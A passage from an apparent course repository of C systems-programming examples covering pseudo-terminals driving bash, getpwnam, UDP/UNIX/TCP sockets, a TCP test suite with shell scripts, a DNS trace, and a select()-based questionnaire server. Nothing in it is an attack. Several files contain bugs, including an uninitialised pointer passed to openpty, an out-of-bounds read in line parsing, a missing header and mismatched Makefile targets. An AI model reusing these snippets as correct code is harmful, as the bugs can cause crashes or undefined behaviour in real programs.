terminate("grantpt", 1);
ret = unlockpt(fd_master);
if (ret == -1)
terminate("unlockpt", 1);
name_slave = ptsname(fd_master);
if (name_slave == NULL)
terminate("ptsname", 1);
pid = child_process(fd_master, name_slave);
sleep(10);
printf("child is using slave PTY: %s\n", name_slave);
write_fd(fd_master, "ls\necho hello\nexit\n");
char buf[1024];
int n;
while ((n = read(fd_master, buf, sizeof(buf))) > 0)
write(1, buf, n);
waitpid(pid, NULL, 0);
close(fd_master);
return 0;
}
terminal-02.cC / 96 lines
#define _XOPEN_SOURCE 600
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
void terminate_exec(const char *msg, int code)
{
fflush(stderr);
perror(msg);
_exit(code);
}
void write_fd(int fd, const char *str)
{
write(fd, str, strlen(str));
}
static int child_process(int fd_master, const char *name_slave)
{
int pid, ret, fd_slave;
pid = fork();
if (pid == -1)
terminate("fork", 1);
if (pid == 0) {
ret = setsid();
if (ret == -1)
terminate("setsid", 1);
fd_slave = open(name_slave, O_RDWR);
if (fd_slave == -1)
terminate("open", 1);
dup2(fd_slave, 0);
dup2(fd_slave, 1);
dup2(fd_slave, 2);
close(fd_master);
close(fd_slave);
execlp("bash", "bash", NULL);
terminate_exec("bash", 1);
}
return pid;
}
int main()
{
int fd_master, ret, pid;
char *name_slave;
fd_master = posix_openpt(O_RDWR | O_NOCTTY);
if (fd_master == -1)
terminate("posix_openpt", 1);
ret = grantpt(fd_master);
if (ret == -1)
terminate("grantpt", 1);
ret = unlockpt(fd_master);
if (ret == -1)
terminate("unlockpt", 1);
name_slave = ptsname(fd_master);
if (name_slave == NULL)
terminate("ptsname", 1);
pid = child_process(fd_master, name_slave);
sleep(2);
printf("child is using slave PTY: %s\n", name_slave);
write_fd(fd_master, "\x04");
char buf[1024];
int n;
while ((n = read(fd_master, buf, sizeof(buf))) > 0)
write(1, buf, n);
waitpid(pid, NULL, 0);
close(fd_master);
return 0;
}
terminal-03.cC / 24 lines
#include <stdio.h>
#include <pwd.h>
int main(int argc, char **argv) {
if (argc < 2) {
fprintf(stderr, "Usage: %s <user name>\n", argv[0]);
return 1;
}
struct passwd *pw = getpwnam(argv[1]);
if (pw != NULL) {
printf("Name: %s\n", pw->pw_name);
printf("Password: %s\n", pw->pw_passwd);
printf("UID: %d\n", pw->pw_uid);
printf("GID: %d\n", pw->pw_gid);
printf("Home: %s\n", pw->pw_dir);
printf("Shell: %s\n", pw->pw_shell);
} else {
printf("User not found\n");
}
return 0;
}
05 (05-04)
terminal.cC / 64 lines
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <pty.h>
static void terminate(const char *msg, int code)
{
perror(msg);
exit(code);
}
void terminate_exec(const char *msg, int code)
{
fflush(stderr);
perror(msg);
_exit(code);
}
static int child_process(int fd_master, int fd_slave, const char *name_slave)
{
int pid, ret;
pid = fork();
if (pid == -1)
terminate("fork", 1);
if (pid == 0) {
ret = setsid();
if (ret == -1)
terminate("setsid", 1);
dup2(fd_slave, 0);
dup2(fd_slave, 1);
dup2(fd_slave, 2);
close(fd_master);
close(fd_slave);
execlp("bash", "bash", NULL);
terminate_exec("bash", 1);
}
return pid;
}
int main()
{
int fd_master, fd_slave, ret, pid;
char *name_slave;
ret = openpty(&fd_master, &fd_slave, name_slave, NULL, NULL);
if (ret == -1)
terminate("openpty", 1);
pid = child_process(fd_master, fd_slave, name_slave);
printf("child is using slave PTY: %s\n", name_slave);
waitpid(pid, NULL, 0);
close(fd_master);
close(fd_slave);
return 0;
}
6. Networks and Protocols / 20 filesRead chapter
06 (06-02)
dns.txtText / 57 lines
dig +trace lesiv.org:
m.root-servers.net
a0.org.afilias-nst.info
fortaleza.ns.porkbun.com
95.217.220.17
-----------------------------------------------------------------
m.root-servers.net
dig . NS
(DNS resolver tells)
;; ADDITIONAL SECTION:
m.root-servers.net. 402796 IN A 202.12.27.33
m.root-servers.net. 402858 IN AAAA 2001:dc3::35
-----------------------------------------------------------------
a0.org.afilias-nst.info
dig @m.root-servers.net a0.org.afilias-nst.info NS
a0.info.afilias-nst.info with IP
dig @a0.info.afilias-nst.info a0.org.afilias-nst.info NS
a0.dig.afilias-nst.info with IP
dig @a0.dig.afilias-nst.info a0.org.afilias-nst.info NS
;; ADDITIONAL SECTION:
a0.org.afilias-nst.info. 900 IN A 199.19.56.1
a0.org.afilias-nst.info. 900 IN AAAA 2001:500:e::1
dig @a0.org.afilias-nst.info lesiv.org NS
lesiv.org. 3600 IN NS salvador.ns.porkbun.com.
lesiv.org. 3600 IN NS curitiba.ns.porkbun.com.
lesiv.org. 3600 IN NS maceio.ns.porkbun.com.
lesiv.org. 3600 IN NS fortaleza.ns.porkbun.com.
-----------------------------------------------------------------
fortaleza.ns.porkbun.com
dig +trace fortaleza.ns.porkbun.com
m.root-servers.net with iP
b.gtld-servers.net with IP
dig @m.root-servers.net b.gtld-servers.net NS
;; ADDITIONAL SECTION:
b.gtld-servers.net. 172800 IN A 192.33.14.30
dig @b.gtld-servers.net ns-199.awsdns-24.com NS
dig @g-ns-25.awsdns-24.com ns-199.awsdns-24.com A
ns-199.awsdns-24.com. 172800 IN A 205.251.192.199
dig @ns-199.awsdns-24.com fortaleza.ns.porkbun.com NS
ns.porkbun.com. 86400 IN NS alagoas.ns.porkbun.com.
alagoas.ns.porkbun.com. 86400 IN A 162.159.0.229
dig @alagoas.ns.porkbun.com fortaleza.ns.porkbun.com IP
fortaleza.ns.porkbun.com. 900 IN A 162.159.8.140
-----------------------------------------------------------------
dig @fortaleza.ns.porkbun.com lesiv.org IP
lesiv.org. 600 IN A 95.217.220.17
02 (06-03)
socket-00.cC / 30 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
static void terminate(const char *msg)
{
perror(msg);
exit(1);
}
int main()
{
int sockfd, res;
struct sockaddr_in addr;
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1)
terminate("socket");
addr.sin_family = AF_INET;
addr.sin_port = htons(8080);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
res = bind(sockfd, (struct sockaddr *) &addr, sizeof(addr));
if (res == -1)
terminate("bind");
return 0;
}
socket-01.cC / 29 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/un.h>
static void terminate(const char *msg)
{
perror(msg);
exit(1);
}
int main()
{
int sockfd, res;
struct sockaddr_un addr;
sockfd = socket(AF_UNIX, SOCK_DGRAM, 0);
if (sockfd == -1)
terminate("socket");
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, "socket02.txt");
res = bind(sockfd, (struct sockaddr *) &addr, sizeof(addr));
if (res == -1)
terminate("bind");
return 0;
}
socket-02.cC / 34 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
static void terminate(const char *msg)
{
perror(msg);
exit(1);
}
int main()
{
int sockfd, res, ok;
struct sockaddr_in addr;
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1)
terminate("socket");
addr.sin_family = AF_INET;
addr.sin_port = htons(8080);
ok = inet_aton("172.26.100.39", &(addr.sin_addr));
if (!ok)
terminate("inet_aton");
res = bind(sockfd, (struct sockaddr *) &addr, sizeof(addr));
if (res == -1)
terminate("bind");
return 0;
}
socket-03.cC / 32 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
static void terminate(const char *msg)
{
perror(msg);
exit(1);
}
int main()
{
int sockfd, res;
struct sockaddr_in addr;
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1)
terminate("socket");
addr.sin_family = AF_INET;
addr.sin_port = htons(8080);
addr.sin_addr.s_addr = inet_addr("172.26.100.39");
res = bind(sockfd, (struct sockaddr *) &addr, sizeof(addr));
if (res == -1)
terminate("bind");
return 0;
}
socket-04.cC / 29 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/un.h>
static void terminate(const char *msg)
{
perror(msg);
exit(1);
}
int main()
{
int fd, res;
struct sockaddr_un addr;
fd = socket(AF_UNIX, SOCK_DGRAM, 0);
if (fd == -1)
terminate("socket");
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, "socket05.t");
res = bind(fd, (struct sockaddr *) &addr, sizeof(addr));
if (res == -1)
terminate("bind");
return 0;
}
04 (06-03)
socket-00.cC / 101 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <signal.h>
#include <errno.h>
#include <sys/wait.h>
#include <unistd.h>
enum {
listen_queue_len = 16,
buf_len = 4096,
};
typedef void (*signalhandler_t)(int);
static void terminate(const char *msg)
{
perror(msg);
exit(1);
}
void set_sigactions(int signum, signalhandler_t handler)
{
int r;
struct sigaction act = { 0 };
act.sa_handler = handler;
r = sigaction(signum, &act, NULL);
if (r == -1)
terminate("sigaction");
}
void handler_sigchld(int s)
{
int pid, status, save_errno;
save_errno = errno;
do {
pid = waitpid(-1, &status, WNOHANG);
} while (pid > 0);
errno = save_errno;
}
static void process_requests(int fd)
{
int fd2, pid, rc;
struct sockaddr_un addr;
socklen_t len;
char buf[buf_len];
while (1) {
len = sizeof(addr);
fd2 = accept(fd, (struct sockaddr *) &addr, &len);
if (fd2 == -1) {
if (errno == EINTR)
continue;
terminate("accept");
}
pid = fork();
if (pid == 0) {
close(fd);
rc = read(fd2, buf, buf_len);
write(1, buf, rc);
close(fd2);
exit(0);
}
close(fd2);
}
}
int main()
{
int fd, res;
struct sockaddr_un addr;
char *file_name;
set_sigactions(SIGCHLD, handler_sigchld);
fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd == -1)
terminate("socket");
addr.sun_family = AF_UNIX;
file_name = "socket07.t";
strcpy(addr.sun_path, file_name);
res = bind(fd, (struct sockaddr *) &addr, sizeof(addr));
if (res == -1)
terminate("bind");
listen(fd, listen_queue_len);
process_requests(fd);
close(fd);
return 0;
}
socket-00c.cC / 36 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
enum {
listen_queue_len = 16
};
typedef void (*signalhandler_t)(int);
static void terminate(const char *msg)
{
perror(msg);
exit(1);
}
int main()
{
int fd;
struct sockaddr_un addr;
fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd == -1)
terminate("socket");
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, "socket07.t");
connect(fd, (struct sockaddr *) &addr, sizeof(addr));
write(fd, "hello\n", 6);
close(fd);
return 0;
}
socket-01.cC / 79 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <signal.h>
#include <errno.h>
#include <sys/wait.h>
#include <unistd.h>
enum {
listen_queue_len = 16,
datagram_len = 508,
};
typedef void (*signalhandler_t)(int);
static void terminate(const char *msg)
{
perror(msg);
exit(1);
}
void set_sigactions(int signum, signalhandler_t handler)
{
int r;
struct sigaction act = { 0 };
act.sa_handler = handler;
r = sigaction(signum, &act, NULL);
if (r == -1)
terminate("sigaction");
}
void handler_sigchld(int s)
{
int pid, status, save_errno;
save_errno = errno;
do {
pid = waitpid(-1, &status, WNOHANG);
} while (pid > 0);
errno = save_errno;
}
int main()
{
int fd, bytes, res;
struct sockaddr_un addr;
socklen_t len;
char buf[datagram_len];
char *file_name;
set_sigactions(SIGCHLD, handler_sigchld);
fd = socket(AF_UNIX, SOCK_DGRAM, 0);
if (fd == -1)
terminate("socket");
addr.sun_family = AF_UNIX;
file_name = "socket08.t";
strcpy(addr.sun_path, file_name);
res = bind(fd, (struct sockaddr *) &addr, sizeof(addr));
if (res == -1)
terminate("bind");
len = sizeof(addr);
bytes = recvfrom(fd, buf, datagram_len, 0,
(struct sockaddr *) &addr, &len);
if (bytes == -1)
terminate("recvfrom");
write(1, buf, bytes);
close(fd);
return 0;
}
socket-01c.cC / 47 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
enum {
listen_queue_len = 16,
datagram_len = 508
};
typedef void (*signalhandler_t)(int);
static void terminate(const char *msg)
{
perror(msg);
exit(1);
}
int main()
{
int fd, len, bytes;
struct sockaddr_un addr;
char buf[datagram_len];
fd = socket(AF_UNIX, SOCK_DGRAM, 0);
if (fd == -1)
terminate("socket");
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, "socket08.t");
strcpy(buf, "hello\n");
len = strlen(buf);
if (len > datagram_len) {
fprintf(stderr, "Too much data trying to send in 1 packet\n");
exit(1);
}
bytes = sendto(fd, buf, len, 0, (struct sockaddr *) &addr, sizeof(addr));
if (bytes == -1)
terminate("sendto");
close(fd);
return 0;
}
TCP client/server test suite (tcp-programs)
MakefileMake / 13 lines
CFLAGS=-Wall
all: program-a1 program-b
clean:
-rm -f *.o *~ program-a1 program-b
program-a0: program-a1.o
$(CC) program-a1.o -o $@
program-b0: program-b.o
$(CC) program-b.o -o $@
program-a.cC / 104 lines
/* Goal: send large amount of data over TCP to a remote host, and have everything arrive. While doing so, study
the role of various system calls, ioctrls and socket options.
Run as 'program-a 1.2.3.4' to connect to 1.2.3.4 port 9876
Bert Hubert, Netherlabs Computer Consulting BV - bert.hubert@netherlabs.nl
*/
#include <sys/types.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <sys/ioctl.h>
#ifdef __linux__
#include <linux/sockios.h>
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
/* in the interest of brevity, this code does not contain a lot of error checking */
void makeSocketLinger(int fd)
{
struct linger ling;
ling.l_onoff=1;
ling.l_linger=30;
setsockopt(fd, SOL_SOCKET, SO_LINGER, &ling, sizeof(ling));
}
void depleteSendBuffer(int fd)
{
#ifdef __linux__
int lastOutstanding=-1;
for(;;) {
int outstanding;
ioctl(fd, SIOCOUTQ, &outstanding);
if(outstanding != lastOutstanding)
printf("Outstanding: %d\n", outstanding);
lastOutstanding = outstanding;
if(!outstanding)
break;
usleep(1000);
}
#endif
}
int main(int argc, char** argv)
{
signal(SIGPIPE, SIG_IGN);
int sock=socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in remote;
remote.sin_family=AF_INET;
inet_pton(AF_INET, argc > 1 ? argv[1] : "127.0.0.1", &remote.sin_addr);
remote.sin_port = ntohs(9876);
makeSocketLinger(sock);
if(connect(sock, (struct sockaddr*)&remote, sizeof(remote)) < 0) {
perror("Connecting to remote");
exit(1);
}
char buffer[4000];
int n, res;
for(n=0; n < 250 ; ++n) {
res=write(sock, buffer, sizeof(buffer));
if(res != sizeof(buffer)) {
if(res < 0)
perror("writing");
else
fprintf(stderr,"Partial write\n");
exit(1);
}
}
shutdown(sock, SHUT_WR); /* inform remote that we are done */
depleteSendBuffer(sock);
// now wait for the remote to close its socket
for(;;) {
res=read(sock, buffer, sizeof(buffer));
if(res < 0) {
perror("reading");
exit(1);
}
if(!res) {
printf("Correct EOF\n");
break;
}
}
close(sock);
return 0;
}
program-a0.cC / 59 lines
/* Goal: send large amount of data over TCP to a remote host, and have everything arrive. While doing so, study
the role of various system calls, ioctrls and socket options.
Run as 'program-a 1.2.3.4' to connect to 1.2.3.4 port 9876
Bert Hubert, Netherlabs Computer Consulting BV - bert.hubert@netherlabs.nl
*/
#include <sys/types.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <sys/ioctl.h>
#ifdef __linux__
#include <linux/sockios.h>
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
/* in the interest of brevity, this code does not contain a lot of error checking */
int main(int argc, char** argv)
{
signal(SIGPIPE, SIG_IGN);
int sock=socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in remote;
remote.sin_family=AF_INET;
inet_pton(AF_INET, argc > 1 ? argv[1] : "127.0.0.1", &remote.sin_addr);
remote.sin_port = ntohs(9876);
if(connect(sock, (struct sockaddr*)&remote, sizeof(remote)) < 0) {
perror("Connecting to remote");
exit(1);
}
char buffer[4000];
int n, res;
for(n=0; n < 250 ; ++n) {
res=write(sock, buffer, sizeof(buffer));
if(res != sizeof(buffer)) {
if(res < 0)
perror("writing");
else
fprintf(stderr,"Partial write\n");
exit(1);
}
}
close(sock);
return 0;
}
program-a1.cC / 94 lines
/* Goal: send large amount of data over TCP to a remote host, and have everything arrive. While doing so, study
the role of various system calls, ioctrls and socket options.
Run as 'program-a 1.2.3.4' to connect to 1.2.3.4 port 9876
Bert Hubert, Netherlabs Computer Consulting BV - bert.hubert@netherlabs.nl
*/
#include <sys/types.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <sys/ioctl.h>
#ifdef __linux__
#include <linux/sockios.h>
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
/* in the interest of brevity, this code does not contain a lot of error checking */
void depleteSendBuffer(int fd)
{
#ifdef __linux__
int lastOutstanding=-1;
for(;;) {
int outstanding;
ioctl(fd, SIOCOUTQ, &outstanding);
if(outstanding != lastOutstanding)
printf("Outstanding: %d\n", outstanding);
lastOutstanding = outstanding;
if(!outstanding)
break;
usleep(1000);
}
#endif
}
int main(int argc, char** argv)
{
signal(SIGPIPE, SIG_IGN);
int sock=socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in remote;
remote.sin_family=AF_INET;
inet_pton(AF_INET, argc > 1 ? argv[1] : "127.0.0.1", &remote.sin_addr);
remote.sin_port = ntohs(9876);
if(connect(sock, (struct sockaddr*)&remote, sizeof(remote)) < 0) {
perror("Connecting to remote");
exit(1);
}
char buffer[4000];
int n, res;
for(n=0; n < 250 ; ++n) {
res=write(sock, buffer, sizeof(buffer));
if(res != sizeof(buffer)) {
if(res < 0)
perror("writing");
else
fprintf(stderr,"Partial write\n");
exit(1);
}
}
shutdown(sock, SHUT_WR); /* inform remote that we are done */
depleteSendBuffer(sock);
// now wait for the remote to close its socket
for(;;) {
res=read(sock, buffer, sizeof(buffer));
if(res < 0) {
perror("reading");
exit(1);
}
if(!res) {
printf("Correct EOF\n");
break;
}
}
close(sock);
return 0;
}
program-b.cC / 67 lines
/* Goal: receive a non-trivial amount of data over TCP from a remote host, and have everything arrive. While doing so, study
the role of various system calls, ioctls and socket options.
Run as 'program-b' and it will listen on port 9876
Bert Hubert, Netherlabs Computer Consulting BV - bert.hubert@netherlabs.nl
*/
#include <sys/types.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
void setSocketReusable(int fd)
{
int tmp=1;
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char*)&tmp,sizeof tmp);
}
int main(int argc, char** argv)
{
int sock=socket(AF_INET, SOCK_STREAM, 0);
setSocketReusable(sock);
struct sockaddr_in local;
local.sin_family=AF_INET;
inet_pton(AF_INET, "0.0.0.0", &local.sin_addr);
local.sin_port = ntohs(9876);
if(bind(sock, (struct sockaddr*)&local, sizeof(local)) < 0) {
perror("Binding socket");
exit(1);
}
listen(sock, 5);
socklen_t socklen=sizeof(local);
int client=accept(sock, (struct sockaddr*)&local, &socklen);
write(client, "welcome\r\n", 9);
if(client < 0) {
perror("Accepting connection");
exit(1);
}
char buffer[4096];
unsigned int bytesRead=0;
int res;
for(;;) {
res = read(client, buffer, sizeof(buffer));
if(res < 0) {
printf("Read error after %u bytes: %s\n", bytesRead, strerror(errno));
exit(1);
}
if(!res) {
printf("EOF\n");
break;
}
bytesRead += res;
}
printf("%d\n", bytesRead);
return 0;
}
program-b0.cC / 67 lines
/* Goal: receive a non-trivial amount of data over TCP from a remote host, and have everything arrive. While doing so, study
the role of various system calls, ioctls and socket options.
Run as 'program-b' and it will listen on port 9876
Bert Hubert, Netherlabs Computer Consulting BV - bert.hubert@netherlabs.nl
*/
#include <sys/types.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
void setSocketReusable(int fd)
{
int tmp=1;
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char*)&tmp,sizeof tmp);
}
int main(int argc, char** argv)
{
int sock=socket(AF_INET, SOCK_STREAM, 0);
setSocketReusable(sock);
struct sockaddr_in local;
local.sin_family=AF_INET;
inet_pton(AF_INET, "0.0.0.0", &local.sin_addr);
local.sin_port = ntohs(9876);
if(bind(sock, (struct sockaddr*)&local, sizeof(local)) < 0) {
perror("Binding socket");
exit(1);
}
listen(sock, 5);
socklen_t socklen=sizeof(local);
int client=accept(sock, (struct sockaddr*)&local, &socklen);
write(client, "welcome\r\n", 9);
if(client < 0) {
perror("Accepting connection");
exit(1);
}
char buffer[4096];
unsigned int bytesRead=0;
int res;
for(;;) {
res = read(client, buffer, sizeof(buffer));
if(res < 0) {
printf("Read error after %u bytes: %s\n", bytesRead, strerror(errno));
exit(1);
}
if(!res) {
printf("EOF\n");
break;
}
bytesRead += res;
}
printf("%d\n", bytesRead);
return 0;
}
test.shShell / 15 lines
./program-b &
pid2=$!
./program-a &
pid1=$!
while kill -0 "$pid1" 2>/dev/null && kill -0 "$pid2" 2>/dev/null; do
sleep 0.01
done
if ! kill -0 "$pid1" 2>/dev/null; then
echo "program-a finished first"
else
echo "program-b finished first"
fi
test1.shShell / 17 lines
#!/usr/bin/env bash
./program-b &
pid_b=$!
./program-a1 &
pid_a=$!
wait -n -p finished_pid "$pid_a" "$pid_b"
if [[ "$finished_pid" == "$pid_a" ]]; then
echo "A finished first"
elif [[ "$finished_pid" == "$pid_b" ]]; then
echo "B finished first"
fi
wait "$pid_a" "$pid_b" 2>/dev/null
06 (06-03)
socket-00.cC / 44 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <sys/wait.h>
enum { num_prints = 10, buf_len = 4096 };
static void terminate(const char *msg)
{
perror(msg);
exit(1);
}
int main()
{
int pid, res, sv[2], i, rc;
char buf[buf_len];
res = socketpair(AF_UNIX, SOCK_STREAM, 0, sv);
if (res == -1)
terminate("socketpair");
pid = fork();
if (pid == 0) {
close(sv[0]);
for (i = 0; i < num_prints; i++)
write(sv[1], "hello\n", 6);
close(sv[1]);
exit(0);
}
close(sv[1]);
for (i = 0; i < num_prints; i++) {
rc = read(sv[0], buf, buf_len);
write(1, buf, rc);
}
close(sv[0]);
wait(NULL);
return 0;
}
Book example: tcp_questn.c
tcp_questn.cC / 319 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#ifndef INBUFSIZE
#define INBUFSIZE 1024
#endif
#ifndef LISTEN_QLEN
#define LISTEN_QLEN 32
#endif
#ifndef INIT_SESS_ARR_SIZE
#define INIT_SESS_ARR_SIZE 32
#endif
enum fsm_states {
fsm_start, fsm_name = fsm_start, fsm_age, fsm_town, fsm_band,
fsm_finish, fsm_error
};
struct session {
int fd;
unsigned long from_ip;
unsigned short from_port;
char buf[INBUFSIZE];
int buf_used;
enum fsm_states state;
char *name, *town, *band;
int age;
};
static void session_send_string(struct session *sess, const char *str)
{
write(sess->fd, str, strlen(str));
}
static struct session *make_new_session(int fd, struct sockaddr_in *from)
{
struct session *sess = malloc(sizeof(*sess));
sess->fd = fd;
sess->from_ip = ntohl(from->sin_addr.s_addr);
sess->from_port = ntohs(from->sin_port);
sess->buf_used = 0;
sess->state = fsm_start;
sess->name = NULL;
sess->town = NULL;
sess->band = NULL;
sess->age = -1;
session_send_string(sess, "What is your name?\n");
return sess;
}
static void session_cleanup(struct session *sess)
{
if(sess->name)
free(sess->name);
if(sess->town)
free(sess->town);
if(sess->band)
free(sess->band);
}
static void session_handle_age(struct session *sess, const char *line)
{
char *err;
int age;
age = strtol(line, &err, 10);
if(!*line || *err || age < 0 || age > 150) {
session_send_string(sess, "No, this can't be your age!\n");
session_send_string(sess, "Please try again!\n");
session_send_string(sess, "How old are you?\n");
} else {
sess->age = age;
session_send_string(sess, "What city/town are you from?\n");
sess->state = fsm_town;
}
}
/* ownership over the 'line' is transferred here */
static void session_fsm_step(struct session *sess, char *line)
{
switch(sess->state) {
case fsm_name:
sess->name = line;
session_send_string(sess, "How old are you?\n");
sess->state = fsm_age;
break;
case fsm_age:
session_handle_age(sess, line);
free(line); /* because we still own it... */
break;
case fsm_town:
sess->town = line;
session_send_string(sess, "What is your favorite band?\n");
sess->state = fsm_band;
break;
case fsm_band:
sess->band = line;
session_send_string(sess, "Thank you, bye!\n");
sess->state = fsm_finish;
break;
case fsm_finish:
case fsm_error:
free(line); /* this should never happen */
}
}
static void session_check_lf(struct session *sess)
{
int pos = -1;
int i;
char *line;
for(i = 0; i < sess->buf_used; i++) {
if(sess->buf[i] == '\n') {
pos = i;
break;
}
}
if(pos == -1)
return;
line = malloc(pos+1);
memcpy(line, sess->buf, pos);
line[pos] = 0;
sess->buf_used -= (pos+1);
memmove(sess->buf, sess->buf+pos+1, sess->buf_used);
if(line[pos-1] == '\r')
line[pos-1] = 0;
session_fsm_step(sess, line); /* we transfer ownership! */
}
static int session_do_read(struct session *sess)
{
int rc, bufp = sess->buf_used;
rc = read(sess->fd, sess->buf + bufp, INBUFSIZE - bufp);
if(rc <= 0) {
sess->state = fsm_error;
return 0; /* this means "don't continue" for the caller */
}
sess->buf_used += rc;
session_check_lf(sess);
if(sess->buf_used >= INBUFSIZE) {
/* we can't read further, no room in the buffer, no whole line yet */
session_send_string(sess, "Line too long! Good bye...\n");
sess->state = fsm_error;
return 0;
}
if(sess->state == fsm_finish)
return 0;
return 1;
}
static void session_commit(struct session *sess, FILE *f)
{
unsigned int ip = sess->from_ip;
fprintf(f, "From %d.%d.%d.%d:%d\n"
"Name: %s\nAge: %d\nTown: %s\nBand: %s\n\n",
(ip>>24 & 0xff), (ip>>16 & 0xff), (ip>>8 & 0xff), (ip & 0xff),
sess->from_port,
sess->name, sess->age, sess->town, sess->band);
fflush(f);
}
/* =========== server =========== */
struct server_str {
int ls;
FILE *res;
struct session **sess_array;
int sess_array_size;
};
static int server_init(struct server_str *serv, int port, const char *fname)
{
int sock, i, opt, res;
struct sockaddr_in addr;
FILE *f;
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == -1) {
perror("socket");
return 0;
}
opt = 1;
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(port);
res = bind(sock, (struct sockaddr*) &addr, sizeof(addr));
if(res == -1) {
perror("bind");
return 0;
}
listen(sock, LISTEN_QLEN);
serv->ls = sock;
f = fopen(fname, "wb");
if(!f) {
perror(fname);
close(sock);
return 0;
}
serv->res = f;
serv->sess_array = malloc(sizeof(*serv->sess_array) * INIT_SESS_ARR_SIZE);
serv->sess_array_size = INIT_SESS_ARR_SIZE;
for(i = 0; i < INIT_SESS_ARR_SIZE; i++)
serv->sess_array[i] = NULL;
return 1;
}
static void server_accept_client(struct server_str *serv)
{
int sd, i;
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
sd = accept(serv->ls, (struct sockaddr*) &addr, &len);
if(sd == -1) {
perror("accept");
return;
}
if(sd >= serv->sess_array_size) { /* need to resize */
int newlen = serv->sess_array_size;
while(sd >= newlen)
newlen += INIT_SESS_ARR_SIZE;
serv->sess_array =
realloc(serv->sess_array, newlen * sizeof(struct session*));
for(i = serv->sess_array_size; i < newlen; i++)
serv->sess_array[i] = NULL;
serv->sess_array_size = newlen;
}
serv->sess_array[sd] = make_new_session(sd, &addr);
}
static void server_remove_session(struct server_str *serv, int sd)
{
close(sd);
serv->sess_array[sd]->fd = -1;
session_cleanup(serv->sess_array[sd]);
free(serv->sess_array[sd]);
serv->sess_array[sd] = NULL;
}
static void server_close_session(struct server_str *serv, int sd)
{
if(serv->sess_array[sd]->state == fsm_finish)
session_commit(serv->sess_array[sd], serv->res);
server_remove_session(serv, sd);
}
static int server_go(struct server_str *serv)
{
fd_set readfds;
int i, sr, ssr, maxfd;
for(;;) { /* ========= THE APPLICATION MAIN LOOP ========= */
FD_ZERO(&readfds); /* ====== GET THE EVENT ====== */
FD_SET(serv->ls, &readfds);
maxfd = serv->ls;
for(i = 0; i < serv->sess_array_size; i++) {
if(serv->sess_array[i]) {
FD_SET(i, &readfds);
if(i > maxfd)
maxfd = i;
}
}
sr = select(maxfd+1, &readfds, NULL, NULL, NULL);
if(sr == -1) {
perror("select");
return 0;
}
if(FD_ISSET(serv->ls, &readfds))
server_accept_client(serv);
for(i = 0; i < serv->sess_array_size; i++) {
if(serv->sess_array[i] && FD_ISSET(i, &readfds)) {
ssr = session_do_read(serv->sess_array[i]);
if(!ssr)
server_close_session(serv, i);
}
}
}
return 1;
}
int main(int argc, const char * const *argv)
{
struct server_str server;
long port;
char *endptr;
int res;
if(argc != 3) {
fprintf(stderr, "Usage: serv <port> <log_file_name>\n");
return 1;
}
port = strtol(argv[1], &endptr, 10);
if(!*argv[1] || *endptr) {
fprintf(stderr, "Invalid port number\n");
return 2;
}
if(!server_init(&server, port, argv[2]))
return 3;
res = server_go(&server);
return res ? 0 : 4;
}
